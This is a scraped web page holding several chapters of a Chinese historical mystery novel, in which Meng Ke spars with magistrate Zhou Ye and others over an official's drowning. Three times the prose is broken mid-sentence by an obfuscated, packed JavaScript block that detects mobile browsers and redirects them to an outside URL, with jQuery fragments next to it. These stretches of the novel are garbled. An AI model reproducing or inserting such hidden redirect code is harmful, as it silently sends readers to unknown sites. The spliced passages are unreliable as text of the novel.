我在，他尚且如此。我要是不在，他是不是要立刻拉人拜堂，热孝成亲啊？ 孟珂笑道：“闺阁私隐，恕我不便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999104|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告知，还请公子见谅。不过，公子既知我不姓卢，想必已打听过了，也知我本姓孟，如何还有方才这几问？我还要去拜见令堂，就不耽误二位公子说话了。” 说完，也不管那两人，转身就走了。 *** 见人走远了，曾铭身边的小厮才低声道：“公子你这是怎么了？你这么说话，论理可是要见大罪的。还好这位小姐没计较。看着倒也不像街上说的那般跋扈。” 果然如周冶所料，熹园里该传出来的话，一早便传出来了。 这坊间飞得最快的，果然不是飞鸟，而是闲话。 曾铭却还看着那个远去的身影，呢喃道：“她……那海棠……” 周冶在一旁看着，心中笑道，这双姝记还没看上，倒先看了一出《钟情》，今日指不定要看几场好戏呢。 曾铭回过神来，竟也不向周冶追问霍家小姐的线索，冲他点了点头，就不发一言地走了。 周冶看着他，笑道：“这家属跟嫌犯主子的关系，倒有点意思了。” 从孟珂入了院门，他就一直留心曾铭的脸色。但是，曾铭听他提到卢府小姐，看到她人的时候，表现都有些奇怪——既不意外，也没有常人初次听见、看见的好奇；而最奇的还是，他竟没有一丝家属对嫌犯的迁怒。 刚才这一幕就更绝了。傻子也听得出来，曾铭口中的那个“她”字，带着几分揪心，还有几分千回百转的、因着时间太久而发涩发苦的复杂味道。 洗墨也看着曾铭，奇道：“公子，这曾二公子怎么呆呆愣愣的？这爹死得不明不白的，他倒好，魂儿偏跟着那头号嫌犯跑了！还说什么对未婚妻念念不忘呢，这一见了大美人，可不就忘了？ 不过，也怪不得他，谁看了不迷糊。这‘西孟’小姐果真名不虚传！啧，我还没见过这等绝色！可不枉咱们今日等了那么久。 公子你也真是，不早点儿说，我差点就……诶，公子你去哪！等等我——” 周冶头也不回地走着。洗墨赶上去，又道：“难道这曾二公子跟我一样，也有脸盲之症？还是说，这二位小姐真的长得像？他这才把这卢家……的孟小姐，错认成自己未婚妻？” 周冶站住了脚，看着洗墨道：“如果不是认错了，而是认出了呢？如果这头号嫌犯，就是他未婚妻呢？” “什……什么？”洗墨惊道，“您是说，这卢家小姐就是那个霍家小姐！就是这曾二公子的未婚妻！那这曾大人不就是……她的未来公公？” 她是霍家小姐，在官场上出手帮帮自己的“公公”，就顺理成章了。要说杀他，就不太可能了！ * “原来，小姐这海棠钗有此妙用。”回雪边走边笑道，“这下，那周大人不会再死盯着咱们了吧。” 孟珂但笑不语，同回雪转过花厅，就见五儿急步跑了过来。 等走近了，五儿才压低了声音道：“小姐，梁夫人这便要走了。” 说完，便领着她们一路穿堂过院，边小声地一一回报，梁夫人跟哪些夫人小姐们打了什么招呼，又跟曾家邵夫人说了什么。 话音未落，便与梁夫人迎面遇上。 “姐姐！”孟珂冲她笑道，“如何这般急着走？” 8. 救命之恩 “妹妹也来了！”梁夫人笑着走近了，温声道：“我家大人公事繁忙，一时脱不开身，我少不得先来一趟，替他尽尽同僚之谊。再者，尊长过世，我也该来行行晚辈之礼。只是家中实在事忙，这便要回去了。” “我就知道，姐姐是有心之人。”孟珂上手去握梁夫人，痛惜道，“曾大人那日才为我姐妹二人引见，不想……这就天人永隔了！果真祸福难料，生死也只在旦夕之间。” 说着，她微微侧脸，抬手假意拭了拭泪，又道，“妹妹与大人不过初见，尚且难过。以姐姐与大人的情谊，更悲痛......” “妹妹说笑了！”梁夫人忙打断道，“曾大人这样的地方耆老，绥陵父老谁不惋惜，你我姐妹二人也不例外。” 孟珂左右看了看，低声道：“这里又没外人，姐姐最是重情之人，哪是外人可比？” 梁夫人脸垮了下来，强笑道：“这内人外人又是什么糊涂话！姐姐今日来，也是想宽慰宽慰曾家邵夫人。同为后宅妇人，为人妻母，最能感同身受——若是我家大人突然出事，那真真便……天塌地陷了。妹妹去了，也多劝劝她，咱们姐妹改日再叙” 说完，便提步要走。 “等等——” 孟珂道，“妹妹刚才遇到一件奇事，想说与姐姐听，等不得改日了。” * 不等她答，孟珂便抬手拔下了那玉钗，意味不明地笑道：“妹妹方才见了曾家二公子。他见了我头上这钗，拦着我问长问短，可把我吓得不轻。后来才知道，他是这海棠玉钗，把妹妹当成了他未婚妻——那位……霍家小姐。听说，自大火之后，他始终不愿违背婚约，空等了这许多年。实在是可叹又可敬。” 说完，她抬眼看着梁夫人道：“姐姐与曾府素有往来，想必也知道此事？” 梁夫人点头道：“确有耳闻。” 孟珂看着她的脸色，轻叹道：“那霍家小姐若是泉下有知，也不知是何感受？” 梁夫人笑道：“这人死如灯灭，想是并无知觉。” 孟珂一听笑了：“既是人死如灯灭，姐姐何故不留着熹园自住，又为何要乘夜祭奠亡魂呢？” 梁夫人一时语塞。 孟珂却也不深究，转而轻松地笑道：“既有如此重情重义的好儿郎，姐姐必定知道很多好人家的小姐，不如就......替他做一门亲，也不枉姐姐与曾家的一场情分？” 梁夫人看着她，顿了半晌，含笑道：“妹妹如此说，莫非是……对那二公子有意？” * 两人互看了一眼，一起笑出了声来。 孟珂仿佛听了再好笑也没有的话，笑了好半晌，才收了道：“姐姐可真会说笑！妹妹敬重这二公子，却没什么旁的念头。何况，这二公子的心……可在那霍家小姐身上。” 说完，一双漾着水光的大眼睛，直直地盯着梁夫人。 梁夫人笑道：“妹妹要是看上了什么人，姐姐倒可以替你去做这大媒。就只怕这曾二公子，配不上妹妹如此人才。尤其是这曾家……寒门小户，无根无基，怎么也高攀不上卢府的门楣。” 二人这么同时自说自话，又同时停了。 梁夫人一拍孟珂的手，压着眉毛，看着她笑道：“姐姐同你玩笑呢。妹妹这样的人才，别说卢府不答应，就连我都不答应。” 说着，左右看了看，正色道，“好了，咱们在丧礼说笑，让人看了像什么！孩子还在马车里，姐姐实在耽搁不得了，先走一步。” 梁夫人说完，便快步离去，刚走出几步，孟珂又叫住了她。 “姐姐！” 梁夫人停了步，却没回头。 “妹妹还有几句话，要问问姐姐。”孟珂慢慢转过身来看着她，沉声笑问，“姐姐觉得，这杀害曾大人的凶手，到底是为着什么恩怨呢？” * 梁夫人回转身来，笑道：“妹妹果真爱说笑。我一介女流，又是个后宅妇人，哪里就懂什么凶案了，又如何能知道凶手怎么想呢？妹妹既有此问，想必是有些见地的，不妨说一说，也让姐姐长长见识？” 孟珂笑道：“妹妹哪里又知道什么了，不过是听人说，这杀人者必是熟人。这曾大人乃行伍出身，又在官府负责捕盗羁贼多年，即便遇到三两个好手，也不会没有打斗挣扎，轻易就让人取了性命。必定是他没有防备的人，才能轻易得手。” 梁夫人“哦”了一声头，满脸疑惑地道：“姐姐怎么倒听说，曾大人喝了不少酒，只因尸身在水中泡过，酒味才不明显。但仵作剖尸可验出来了。 我想着，曾大人这样德高望重的人，断不会有人暗害才是。或是喝多了不慎跌入湖中，意外溺亡，又让潮水冲上了湖滨？这样的事，镜月湖边年年少不得几起。 县衙调查此案，也不过是因那高升闹腾。有人举告，衙门总要查查，厘清真相，以正视听。依我看，说不得就是那个奴才没跟好主子，怕落了罪，这才生事造谣。” 孟珂做出不解的样子道：“若是跌入湖中溺亡，怎会咳呛入那么多泥水草屑？因而，曾大人必定不是死后被冲上岸，而是就溺死在浅滩上。再者说，即便是喝醉了跌入浅水，人咳呛两下就会挣扎起来，翻个身就死不了，哪里就一动不动地淹死了？若说无人加害，纯属意外，姐姐你信吗？” “哎呀！别死啊死的！”梁夫人拍了拍胸口，惊恐地道，“咱们女儿家，还是不要说这些吓人的事。姐姐胆子小，可不敢再听，妹妹也别吓我了。” 说完，一施礼，便头也不回地走了。 *** 看着梁夫人的背影消失，孟珂才转身而去。 曾府早有下人去邵夫人处通传，都知道那卢府小姐到了。这半日，在曾大人离奇溺亡之外，被闲话得最多的，便是这位卢府小姐的跋扈了。众人都笑那周大人数月不理事，好不容易勤快了一回，却遇上了这位夜叉星。原本说嘴这个懒怠县令的人，此时竟都有些同情起他来。 一进邵夫人的院门，孟珂就见一个上年纪的妇人，带着一众官眷迎了出来。 回雪低声道：“小姐，我去更衣，稍后便回。” 孟珂轻轻点了点头，回雪便退到了丫鬟婆子后面，自去了。 两相见过礼，邵夫人将孟珂延请入内，到了内堂坐下。 这邵夫人不是个多话的，几句客套话说完，便没话了，勉强又找了些场面话，却还是难以为继。 孟珂知道，她的出身原不高，不过是小地方有些薄产的富户，当初配给曾怀义原算低嫁了，不想夫君却是个有些能耐的，她竟跟着成了官太太，只是多年下来也没什么长进，压不住这样的场子。 孟珂见她没话，也不找话，只是饶有兴味地打量起她来。 这邵夫人极单薄，打扮也素净，通身没几件首饰，手上拿着一串佛珠，走出去简直不像个官太太。这院子也简朴到几乎有些清苦。她一双眼睛肿着，布满了血丝，下面乌青一片，两片薄唇外，刻着两道深深的法令纹，给那原就清瘦到有些嶙峋的脸，又添了几分悲苦。 也因为周大人在熹园吃瘪的事传开了，在场这些妇人小姐一时谁也不敢多话，都不想当那给人立威的出头鸟。 于是，堂内莫名的安静。身为主人的邵夫人不免更加局促，只好抬手拭泪来强自掩饰。 孟珂嘴角浮过一丝笑意，心道，这恶名传开倒也有些好处，官眷中那些惯会势利、从来拜高踩低的人，不免都要谨言慎行几分，也省了她些口舌。 就这么坐了一会子，她抬眼扫见回雪进了门，从众多丫鬟婆子身后绕过，在她身后站定了。 随即，孟珂的后背有人轻敲了两下，便劝解邵夫人几句，就起身告辞了。 一行人才走到前院，斜刺里却又杀出一个周冶来。 *** 孟珂扫了他一眼，脚下没停：“周大人还没走？是案子查明了，衙门无事了，还是自知无能，连夜引咎辞官了？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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什么“救命之恩”？实则是他们在场，反破坏了她的计划。 “我虽好心出手，终究误了小姐的事。”周冶作揖抱歉道，“是我对不住小姐。还望小姐看在周某乃无心之失的份上，不要与我计较才是。” “大人哪里的话。”孟珂不置可否地道，“小女对大人只有感激，何来计较？” * 周冶没说错，他那日确实打乱了她的计划。 自她在京城出卢府起，一路都有尾巴，处理了几回，到底还是有一路跟到了底。 到了明州府的治所金阳城，孟珂便以地方太平，不想声势浩荡、引人注意为由，将身边的明卫、暗卫都遣走了。 她正是以身为饵，诱那一路人出手，好在进绥陵之前处置干净，免得进城后行事诸多不便，不想却遇到了个小小的意外。 她没想到那样的天气山上竟还有人！有人倒也无妨，拿点银子请走就是了。可偏偏那两人身份不明，身手看着还都不差。 孟珂这才出亭去看，果然是个不能赶，也难骗的，只好随机应变，引得二人出了手，帮着退敌。 那些跑了的，自有预先藏在附近的暗卫追上去，悉数处理干净了，自是不需县令去查，便是查，也别无痕迹。 那夜，周冶来熹园，她便知他是个聪明的。果然，今日提了起来，也懂得点到为止。 周冶的确不想去牵扯卢府秘事，卷入与己无关的朝堂风云。他这人懒散，只管自己这一亩三分地。可这地里，如今却飞来一只不太好处理的鸟儿。 他几不可闻地轻叹了一声，瞧着孟珂的脸色，又道：“至于小姐要找的樊管事嘛，他与曾大人有仇的事，小姐想必也是……知道的？” “是吗？”孟珂意外地道，“他们二人有仇？这我倒不曾知道。曾大人说他们是故交。我看着，也不像有龃龉的样子？想是大人你弄错了，也不知是哪里听来的胡话。” “是不是胡话，你我说了都不算。”周冶道，“自是要一一查证的。” 那高升说，樊仲荣与他家大人有仇，非要官府连夜拿人。 只说那樊仲荣七八年前常来绥陵，跟曾怀义称兄道弟，关系很是不错。后来，他生意上遇到了事，怪曾怀义不帮忙，两下里便生了嫌隙。 便是那一遭，他家道败落了，听说不久就贫病而死了。也不知死人怎么又活了，甚至还重新腾达了起来。 9. 执着 那高升道，曾家再得樊仲荣的消息，便是升迁宴那日。他带着豪仆到场，分明要给曾家好看，但碍于自家主人百般忍让，无故发作，这才另邀其单独赴宴，终于还是痛下杀手。 可待周冶细问说，这左不过是袖手观他落难，能是多大的仇怨，怎么就至于多年后不远千里而来，放着如今的好日子不过，杀人潜逃。高升却又推说不清楚了。 听周冶这么一说，孟珂无所谓地道：“这些内情，大人原不必告诉我。当然，我听了，回头也就忘了。若无他事，我就先失陪了。祝大人查案顺利！” 周冶却丝毫没有告辞的意思，仍跟着她走。 孟珂见状站住了，无奈地笑道：“今日，我也不妨说句实在话。敢问大人，若是你跟谁有仇，恨到非置其于死地不可，会不会让他就这么干干脆脆地死了？” 不等周冶答话，她冷笑道：“不论死活，总要先折磨泄愤才是！哪有轻轻松松死了就完事的？少不得要磨他个求生不得求死不能，才能稍减心头恨意。所以，我劝大人，还是别在我身上浪费功夫。” “小姐今日戴上这玉钗，就是为这？”周冶扫了一眼正在门口送客的曾铭，笑道，“一则引得那位百般维护，二则，告诉周某，不要死缠着小姐？周某竟让小姐这般用心，实在有点受宠若惊呢。” “玉钗？”孟珂抬手一摸，笑道，“我想着，这人有相似，物更有相同。这钗原不是什么罕见款式，引得二公子睹物思人，一时想差了，也是有的。 至于说为了大人而用心嘛……我如何知道大人您昨日连夜查案，今天偏又不忙了，来了曾府半日还不走？” 周冶假装想了想，又道：“若不是钗的缘故，那便是人的缘故了！这曾二公子一直对那霍家小姐念念不忘，见了小姐却又立刻如坠情网……还当真是怪事呢。” * 二人这唇枪舌剑之间，已让那曾铭看见了。他走上前来相送，倒也没再出什么唐突之语。 孟珂倒主动提道：“方才听周大人说了二公子与未婚妻之事，公子一片丹心，实在让人感佩。” 周冶闻言一惊，转眼去看，只见她瞎话张口就来，却脸不红心不跳，心中简直叹为观止。 孟珂看都没看他，对曾铭恳切地道：“过去的人也好，事也罢，都过去了。人总是要向前看的。公子万不可顾此失彼，耽误了大好年华，蹉跎一生才是。” 曾铭心中一动，半晌才沉声道：“小姐的好意，我心领了。但生而为人，当有所为，有所不为。” 见此，孟珂也不再说什么，告辞去了。 周冶紧跟在后，也出了门，拍着手笑道：“好一手欲擒故纵！小姐嘴上劝人撒手，偏又这般心疼人。到底是想让人放呢，还是不想让人放呢？” 孟珂轻笑一声，看着他道：“我欲擒的是什么，欲纵的又是什么，周大人还是别急于下结论的好。多瞧瞧再说，免得惹人笑话。” 说完，便头也不回地上了马车，根本没给周冶说话的机会。 周冶看着马车咕噜噜远去，愤愤地道：“嘿——刚才在那二公子面前，一副情意绵绵，彬彬有礼的样子，在我这儿就……连装都不装一下了！” 侍剑不知从哪儿钻了出来，跟洗墨站成一排，二人同时转头看着周冶。 周冶察觉到二人眼神，弹开半步，斥道：“你们这什么眼神！” 洗墨不答，转而看着侍剑笑道：“真不愧是卢家……小姐，又一个公子沦陷了！” 侍剑抱臂胸前，笑着点了点头。 周冶更气闷了：“你这个又字……哪里又了！你说谁呢？” 洗墨跟侍剑相视一笑，道：“这儿现成的可不就有一个吗？” 周冶：“说清楚，你说谁呢？” “我说的当然是……那曾家公子啊！”洗墨促狭地笑道，“公子您觉得是谁呢？” 周冶抬手指了指他，拂袖而去。 侍剑忙问：“怎么就走了，不是要看戏吗？” 洗墨走出几步，回头看了他一眼：“角儿都走完了，还看什么？” 说着，他赶了上去：“公子，你说那卢家小姐到底是不是霍家小姐。如果真是她，为什么不同曾二公子相认呢？” 周冶咂摸着道：“她如今希望曾二公子和我们这么想，可她到底是不是嘛，还言之过早。此女心机深沉，说话真假难辨。” “若她真是霍家小姐，这不是一出现成的好戏嘛！劫后余生，重归故里，发现未婚夫矢志不渝，二人前缘再续……”洗墨畅想得正高兴，突然意识到什么，住了嘴，小心看向公子。 周冶却压根儿没看他，兀自发着什么愣。 *** 熹园的马车顺着长街，自西而东去，一路灌入不少坊间议论。无非说熹园来了个京城贵女，是个何等跋扈骄纵的，就连同样从京城来的世家公子，也让她欺负了去。 回雪有心不让小姐听那闲话，看着孟珂的脸色，打岔道：“小姐，您看那曾二公子能听进劝吗？” 孟珂无奈地笑着：“不过是尽一份心而已。” “您劝他这话，真真是为他着想，可只怕是连他在内，半个人也不明白您的心意。” 孟珂轻叹了一口气，半晌道，“他哪里是不明白？只不过，每个人都有自己的业。我劝他不执着是真，但我自己都没法不执着，也是真。不过是各有各的执着罢了，谁也劝不动谁。 各有所执倒也罢了，我只怕他的一腔情意、多年执着，通通不值得！” 回雪也跟着叹了一回气：“但愿他能把您当成……那个人，慢慢地死了心，也算是上天有好生之德。” 孟珂看着回雪，含笑点了点头。 一无所知的善良是容易的，历经了磨难，还能保留一份善良，才算难得。 回雪本就比她大两岁，穷人家的女儿又早懂事，在入卢府前辗转流落中历经世事，又成熟上几分，可她在这磋磨中保住心性，善良而不心软，聪慧却不奸 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周冶摇头：“正因为樊仲荣失踪了，反倒不像他做的。一样的道理，如果他蓄意谋杀曾怀义，为何不悄悄地做，偏要大摇大摆地上曾府露脸，再光明正大地递帖子邀约？” 洗墨正要说话，他便猜到了，接着道：“如果他一时冲动失了手，也该装作若无其事，回府求那大靠山庇佑。如今直接不见了，不就是此地无银了？你想想，若是你激愤之下杀了人，是会直接逃走，还是回来找我想办法护你？” 洗墨笑道：“我自然是回来找公子您。奴才逃出去，那也是逃奴。除了落草为寇，还能有什么活路？再说了，我又不是侍剑，也没那落草为寇的本事。 可回来找您就不一样了，就算下大狱也吃不了大罪，出来仍是咱周府的人，活得不比外面普通人家的公子好？” 说着，他嘿嘿一笑，讨好地道：“我若哪天真出了事，公子自然是会救我的吧？” 周冶却没应，只道：“连你都明白的道理，那樊老板几十岁的人精了，能不明白？他虽不是逃奴，一朝成了逃犯，又有什么区别？就他那副身架，还能打家劫舍不成？” 孟珂也对回雪笃定地道：“他不是毛头小伙子，也不是那起子拎不清的糊涂虫。一个能白手起家，行商几十年的人，最会见人说人话，见鬼说鬼话，何至于就不能忍了？他既见过风雨，也跌过大跤，这点忍耐总还是有的，决计不会冲动失控。” 周冶又补了一句：“樊仲荣就算要动手，也得有身手好的人帮忙，凭他一个人制不住曾怀义。” 洗墨脱口而出：“他不行，但是卢府的人行啊！那小姐身边不是很多......” 周冶无语道：“你那不是又绕回去了吗？那小姐她……算了，我跟你说这么多干嘛。” 说完，他掀帘看着窗外，脑中琢磨起孟珂说的话来。 她虽推说不知道曾樊二人有仇，但走出几步又停下，对他道：“想必大人对您这绥陵城的兴衰变迁，大体是知道的。不过，大人可有兴致听些野史？” 10. 小伙计 这绥陵乃三州之地，又有多条水路汇聚于此。绥陵渡曾是入明州上京城的必经之地，商旅来往频繁。然而，民生凋敝之时，百姓少不得失了营生，而以劫掠为生的。加之水网纵横，还多山多丘陵，匪盗抢完就跑，躲入山林，极难缉拿。 作为三州之地，也意味着官员间难免相互推诿、抢功推责，以致匪盗竟渐渐成了气候。 很多商人旅客开始不敢在此落脚，宁愿多走一程，一口气赶到金阳城再说。慢慢地，绥陵渡也就名存实亡了。 而如今的安州刺史孙秉，正是以清剿这明、安、宁三州之地的盗匪而立功擢升。 经他治后，绥陵才得以太平。近些年，更是以其山水之胜，成了金阳城的后花园。这两城相距不过60来里，快马也就一个多时辰。许多明州官员都在此置宅，供闲时游乐，夏日避暑，冬日赏雪。官眷在此长住的也不少。 周冶当然知道，孟珂要说的断不是什么无关野史，笑道：“小姐有故事，周某自是求之不得，洗耳恭听。” 孟珂道：“那我就给大人说个小伙计的故事。” * 早年间，这三州之地匪患猖獗时，有个扬州富商贩货卖物常行走这一线。可喜此人福星高照，竟没遇到过大股匪盗，时有零星喽啰，舍得些金银也就打发了。 然而，运气总是会用完的。 这一日，他又走在安州境内的时候，终是气运用尽，到了绝处。 所有金银细软、商品货物被一扫而光自不必说，随行的人也逐个倒在了刀下——这山匪宰肥羊，向来是钱要抢，命也要收。连他在内的最后几人都知道，今日是命绝于此了，不由看向了其中一个小伙计。 他们常年走货的倒也罢了，知道早晚有这一日。可这小伙计不过十四五岁，这才头一遭跟队压货。出发前，大伙都拍着胸脯让他娘放心，说跟着他们商队，虽不能赚大钱，但至少能保命。谁料他竟这么背，头一遭就要跟着他们送了小命。 这小伙计心中自然万分不甘，却也知道挣扎无用，颤着身子，紧紧地闭了眼，准备就死—— *** 周围的喊杀声渐渐听不见了，那小伙计心中暗想，死便死了，十八年后又是一条好汉！说不得下一世就投了个富贵人家，不需像这辈子这么命苦呢。 只是......他死了倒一了百了，却放心不下家中寡母。 一想到家中那日夜悬心、翘首企盼的母亲，他顿时一个激灵，心道，不行，自己断不能就这么死了！无论如何也要想办法留一条命。便是要死，也要回去安顿好母亲再死。 如此想着，他脑子开始滴溜溜转，想着怎么才能活命。 想来想去，让这些人放自己走是不能了，那不然便求加入吧。只要留他一命，让他干什么都行。若是他们不允，他便死也要拼上一拼，杀一个不亏，杀两个赚一个。 想定了，他长长地吸了一口气，猛地一睁眼，却愣住了——那朝他劈来的大刀竟悬停在半空。 他一时闹不明白了，但心念一转，决定先看看再说。他憋着一口气，忐忑地死盯了半天，那大刀也没落下来。 他又壮着胆子四下里扫了扫，见那匪盗头子的大手当空举着，四面杀红了眼的匪盗看到便先后停了下来，跟他一样也是满脸狐疑。 等心一静下来，小伙计便发现，有个年轻的山匪正跟那头子说着话。本就离得不远，喊杀声也渐渐平了，一字不落地随风送进了他耳朵里。 “干爹您想啊，这肥羊宰了，够咱们兄弟们吃多久？咱们若是次次都全宰了，肥羊慢慢也就不敢由此过了。这样，咱们不就没羊可宰了？” 那干爹眉毛一竖：“不宰，难道放了？” 年轻人道：“这人毕竟不是羊，宰了又不能吃肉，何必花那力气呢？倒平白砍卷了刀刃，多废一批兵器。干爹您说是不是？” “那依你说，该当如何？” 年轻人狡黠地一笑，右手平摊，做出割肉的动作，道：“咱们就跟那养羊的一样，割了羊毛，放回去，下次再接着割。” 见干爹仍未取口，年轻人想着，这些人都只顾眼前，哪里懂什么长久之计，又吓唬道：“以后羊不来了倒是其次，咱们大不了换片山头继续干。可干爹想过没有，咱们宰多了，引来朝廷大军怎么办？到那时，别说宰羊吃肉了，只怕连兄弟们的小命都保不住了。我前日进城可听到消息，说县令正在向上头请旨派兵呢。” 那干爹脖子一梗：“我怕他们？有种就来，看看他们的头硬，还是他汪爷爷的刀硬！” 年轻人忙道：“那是！干爹自然不怕那些酒囊饭袋！只是......咱们求的是财，何苦陪他们戏耍呢？儿子有办法，让兄弟们天天有羊宰，顿顿有肉吃，岂不好？跟那些朝廷走狗白动干戈，犯得着么？” 说着，他凑近了干爹耳边，低声耳语了什么。 那干爹听着渐渐面露喜色，随后竟真的大手一挥，下令放人了。 * 剩下那几只羊反而懵了，一时都不敢信，呆怔在了原地。 那年轻人抬脚就踹了近前的一人：“还不快滚，等着爷爷请你吃饭不成！” 那人被踹趴在地，啃了一嘴泥，但好歹回过神来了，也顾不上吐出泥，便连滚带爬地跑了。见他跑出去一段路，也没人上去追，剩下的才都飞也似的跟着跑了。 这小伙计怎么也想不到，竟然就这样侥幸活了命。以后，他只觉得活的每一日都是赚来的，也知道运气是靠不住的。为了早日给寡母安顿晚年，他做事愈加勤勉，极得那富商看重，数年间竟白手起了家，翻身当了老板。 数年后，他带着自己的商队再走这一线，竟又见到了当年那个年轻劫匪。 只是，此人不再是劫匪，而是县令手下的头号干将，剿匪的功臣。 *** 这小伙计惊异之余，不禁也心生好奇，不吝银钱地在黑白两道打听了许久，这才拼凑出了个原委来。 坊间都说，这位县令干将有个失散的哥哥，日子过不下去的时候落了草。可喜他生得极俊俏，人又是个伶俐的，极得山匪头子的疼爱，收为了义子。也亏得这义子良心未泯，向干爹进言，保下了无数人命。 在他的庇护之下，往来商队渐渐都知道，从此地过，献财便可保命。有那长期频繁在此过的，甚至还能有商有量地定期上供，人财货都可得保。 商旅往来愈加频繁，那山匪也慢慢见了好处。劫掠毕竟是刀口舔血，总有伤亡，碰上硬茬的代价更是惨重。用了义子之策，寨子里得了不少定期定数的供应，不费一兵一卒便月月有钱送上门花，自是喜不自胜。 而地方上少了杀掠，官府自然也轻省不少，连沿路城镇也随之繁华不少。 几下里都得了好，这位义子也有了义匪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999107|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之名。 却说这三州之地，原本有零零散散的十数股匪盗，大都是四处流窜的失地之民，穷凶极恶的少，失了营生而落草为寇的多。其中很多人相互间本就认识。或有那沾亲带故的，或是遇上那处事不公、分赃不均的，说话便转投他寨，也是寻常。 这义子所在的寨子势大之后，跑去投诚入伙的不少。 数年间，那十数股势力，或相互吞并，或散，或剿，竟渐渐土崩瓦解了。 这背后，自然少不得那些前去投靠之人的内应之功。 而更少不了的，则是这义子兄弟俩的里应外合之计——原来，那些劝说干爹的计策，都是兄弟二人在县令的指点下，共同商定执行的。 只可惜，这位义子哥哥是个无福之人，匪盗将清的时候竟死了。原本兄弟二人都要受嘉奖，最后只有弟弟一人独领。那哥哥只活在了坊间传说之中。 * 可那小伙计分明认得，这位县令干将就是那山匪义子——即便是双生兄弟，面貌可以相似，但身上的伤痕胎记怎么可能一模一样？ 这伙计心细又谨慎，故意去澡堂偷看了。这县令干将肩头的太田痣，果然跟当年那山匪义子肩头的一模一样，绝无偏差。当时，那人的衣服破了一块，正好露出肩头的太田痣来。他离得近，看得真真儿的。 小伙计当下了然，什么双生兄弟，不过是借着双生之说，换一张皮洗白而已。 自古，那被招安的都没什么好下场。这位义子如此聪明，又怎会不知？他定是事先与衙门谈定了条件。一个翻身上岸，一个得了政绩，两相便宜。 对百姓来说，山匪义子造福乡里，兄弟同心剿匪的故事，自然比山匪翻身成县官来得顺应人心。 而朝堂上，那县官具表陈奏的时候，略过了此节不提，但还是被身边知情之人上报了。 而那小伙计，一时倒也钦佩起那义子的智计来，有心与其结交。 时隔数年再见，这义子并未认出当年那个满头满脸血泥，又长大成人、变了面貌的伙计。那伙计是多灵的人，别说遭过劫掠，连早年曾途径此地的经历，也一并隐了去。 这二人各有过人之处，甫一结识便惺惺相惜，不多时就称兄道弟地亲热了起来。 * 这通野史说完，孟珂笑道：“我素日就爱听些野史稗闻，今日胡乱一说，大人也胡乱一听。” 听她说着，周冶心中就惊道，对了，一切都串起来了。那曾怀义不经意间是透出些匪气的。他也有所疑惑，不想背后竟是这样的传奇。今日实在没有白来这一趟。 他心中自然明白，孟珂她大可不说，但说了，就必不会假。而她告诉自己这些，一来是出手助其退敌在前，不多事在后，卖他个人情；二来，也必定与她切身相关。 于是，周冶眼睛一转，又笑道：“小姐说这许多，总不会是为了告诉我，曾怀义当年救了许多人，是个出淤泥而不染的大好人吧？” “我不过说些闲听来的趣事，至于事情是真是假，当中之人是好是坏，就不得而知了。大人你不是一向都喜欢，一一查证了再说？”孟珂轻笑一声，话锋又转道，“大人可知，曾怀义在绥陵的最大政绩为何？” 周冶倒确实不知：“愿闻其详。” 孟珂笑笑：“这个嘛，我就没什么野史正史可说了。不过，大人可自去查查——七年前的霍家之案。” 11. 忠仆 马车里，回雪不解地问：“小姐，你不是想让那周大人以为你是那霍家女，暂且打消你的嫌疑吗？如何又让他去查霍家的案子，就不担心他挖出什么？” 孟珂轻笑一声：“他本来也没信。既如此，就再给他点东西忙吧，没准儿还能帮我一把。” 今日同他说了这许多，以周冶的性子，自是要去查曾怀义的旧事，还有霍家的旧案，可有得他忙的。 既然择不干净，这水……就该搅得再浑一些才好呢。 周冶果然直接奔回县衙，想找那霍家案卷看看究竟。 马车到了县衙门口，还未停下，涤砚遣去候在那里的听差便跑了过来，示意他们调转车头。 “大人，快别走前门进了！”那听差对着掀开车帘的洗墨道，“那个高升闹一天了，兄弟们都被吵得脑仁儿疼，简直脑袋都要炸了。他才刚消停会儿，一见您回来，又得可劲儿闹了。也不知他一个大男人，怎么那么能闹！” 自找到尸首起，那高升便再没离过县衙，借口要日夜随侍自家大人，赖在衙门殓房里守灵。 周冶想着，他还藏着不少话，便也不撵他，只看他到底要如何。 闻言，洗墨忙叫车夫往后门去。 侍剑叹道：“倒是个忠心为主的。” “忠心为主？私心为己吧！”洗墨啐道，“这老奸货！主子死了都不消停，可不肯少吃这最后一口死人馒头呢。” 洗墨看着侍剑，讥笑道：“他家老爷不在了，如今自是要换公子掌家。一朝天子一朝臣，他还能是那个最得脸的吗？还不趁此机会闹上一闹，表表忠心！ 如此一来，就算年轻主子不待见他，少不得也要拿他供着。谁让他是曾家最劳苦功高，还最忠心护主的。真那么片刻离不得的，不如一头撞死，殉了主去，我才说他好呢！” 说着，洗墨又想起了什么，又道：“今日还听曾家老仆在背后说呢，这高升原不叫这名儿，是跟了老爷才改的，就为了讨个口彩。而他那儿子叫高仲，也是应着老爷对公子们的期望，继续讨口彩。 可惜啊！这曾家大概是不受文曲星待见的，两个儿子虽都读过书，但到底不是那个种，最后走的都还是武官的路子。” 